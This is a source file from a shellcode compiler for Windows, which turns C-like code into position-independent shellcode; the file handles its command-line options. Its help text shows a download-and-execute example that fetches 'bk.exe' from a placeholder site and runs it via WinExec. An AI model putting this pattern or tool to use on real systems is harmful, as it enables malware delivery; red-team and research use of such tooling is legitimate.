forked from NytroRST/ShellcodeCompiler
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCommandLine.cpp
More file actions
192 lines (152 loc) · 5.11 KB
/
CommandLine.cpp
File metadata and controls
192 lines (152 loc) · 5.11 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#include "CommandLine.h"
// Program version
#define PROGRAM_VERSION "v0.1 Alpha"
// Global variable for command line arguments
bool CommandLine::g_bHelp = false;
bool CommandLine::g_bVerbose = false;
bool CommandLine::g_bTest = false;
bool CommandLine::bError = false;
bool CommandLine::g_bReadFile = false;
string CommandLine::g_sReadFile = "";
bool CommandLine::g_bOutputFile = false;
string CommandLine::g_sOutputFile = "";
bool CommandLine::g_bASMFile = false;
string CommandLine::g_sASMFile = "";
// Print help
void CommandLine::PrintHelp(string p_sFile)
{
cout << endl;
cout << "Shellcode Compiler " << PROGRAM_VERSION << endl;
cout << "Ionut Popescu [ NytroRST ]" << endl;
cout << "SecureWorks [ www.secureworks.com ]" << endl << endl;
cout << "Program description" << endl;
cout << "-------------------" << endl;
cout << "\tShellcode Compiler is a program that compiles C/C++ style code " << endl;
cout << "into a small, position-independent and NULL-free shellcode for Windows." << endl;
cout << "It is possible to call any Windows API function in a user-friendly way." << endl << endl;
cout << "Command line options " << endl;
cout << "--------------------" << endl;
cout << "\t-h (--help) : Show this help message" << endl;
cout << "\t-v (--verbose) : Print detailed output" << endl;
cout << "\t-t (--test) : Test (execute) generated shellcode" << endl;
cout << "\t-r (--read) : Read source code file" << endl;
cout << "\t-o (--output) : Output file of the generated binary shellcode" << endl;
cout << "\t-a (--assembbly) : Output file of the generated assembly code" << endl << endl;
cout << "Source code example" << endl;
cout << "-------------------" << endl << endl;
cout << "\tfunction URLDownloadToFileA(\"urlmon.dll\");" << endl;
cout << "\tfunction WinExec(\"kernel32.dll\");" << endl;
cout << "\tfunction ExitProcess(\"kernel32.dll\");" << endl << endl;
cout << "\tURLDownloadToFileA(0,\"https://site.com/bk.exe\",\"bk.exe\",0,0);" << endl;
cout << "\tWinExec(\"bk.exe\",0);" << endl;
cout << "\tExitProcess(0);" << endl << endl;
cout << "Invocation example" << endl;
cout << "------------------" << endl;
cout << "\t" << p_sFile << " -r Source.txt -o Shellcode.bin -a Assembly.asm" << endl;
}
// Parse command line arguments
void CommandLine::ParseCommandLine(int argc, char *argv[])
{
string CurrentParam;
string NextParam;
// Check arguments
for (int i = 1; i < argc; i++)
{
CurrentParam = argv[i];
if (i + 1 < argc) NextParam = argv[i + 1];
else NextParam = "";
// Check options
if (CurrentParam.compare("-h") == 0 || CurrentParam.compare("--help") == 0) g_bHelp = true;
else if (CurrentParam.compare("-v") == 0 || CurrentParam.compare("--verbose") == 0) g_bVerbose = true;
else if (CurrentParam.compare("-t") == 0 || CurrentParam.compare("--test") == 0) g_bTest = true;
// Arguments that require an option as a second argument
else if (CurrentParam.compare("-r") == 0 || CurrentParam.compare("--read") == 0)
{
g_bReadFile = true;
if (NextParam.length() > 0) g_sReadFile = NextParam;
else
{
bError = true;
cout << endl << "Missing required value for -r argument" << endl;
}
}
else if (CurrentParam.compare("-o") == 0 || CurrentParam.compare("--output") == 0)
{
g_bOutputFile = true;
if (NextParam.length() > 0) g_sOutputFile = NextParam;
else
{
bError = true;
cout << endl << "Missing required value for -o argument" << endl;
}
}
else if (CurrentParam.compare("-a") == 0 || CurrentParam.compare("--assembly") == 0)
{
g_bASMFile = true;
if (NextParam.length() > 0) g_sASMFile = NextParam;
else
{
bError = true;
cout << endl << "Missing required value for -a argument" << endl;
}
}
}
// Check for errors
if (bError == true)
{
cout << "Cannot compile, check command line arguments!" << endl;
return;
}
// Help
if (g_bHelp)
{
PrintHelp(argv[0]);
return;
}
// Parse source file
if (g_bReadFile)
Compile::ParseFile(Utils::ReadSourceFile(g_sReadFile));
else
{
cout << "You must specify a source code file!" << endl;
return;
}
// Output data from verbose mode
if (g_bVerbose) DebugUtils::DumpAllData();
// Output ASM file
if (g_bASMFile)
{
if (Utils::FileExists(g_sASMFile)) Utils::DeleteSourceFile(g_sASMFile);
Compile::CompileAllData(g_sASMFile);
}
else
{
string sFile = Utils::GetTemp();
sFile += "\\SC.asm";
g_sASMFile = sFile;
if (Utils::FileExists(g_sASMFile)) Utils::DeleteSourceFile(g_sASMFile);
Compile::CompileAllData(sFile);
}
// Output file
if (!g_bOutputFile)
g_sOutputFile = "SC.bin";
if (Utils::FileExists(g_sOutputFile)) Utils::DeleteSourceFile(g_sOutputFile);
// Assemble command line
string sCmd = "\"";
sCmd += Utils::GetCurrentDir();
sCmd += "\\NASM\\nasm.exe\" -f bin -o \"";
sCmd += g_sOutputFile;
sCmd += "\" \"";
sCmd += g_sASMFile;
sCmd += "\"";
// Assemble
cout << endl << "Assemble command line: " << sCmd << endl;
UINT r = WinExec(sCmd.c_str(), SW_HIDE);
// Test shellcode
if (g_bTest)
{
cout << endl << "Testing shellcode..." << endl;
Sleep(3000);
DebugUtils::TestShellcode(g_sOutputFile);
}
}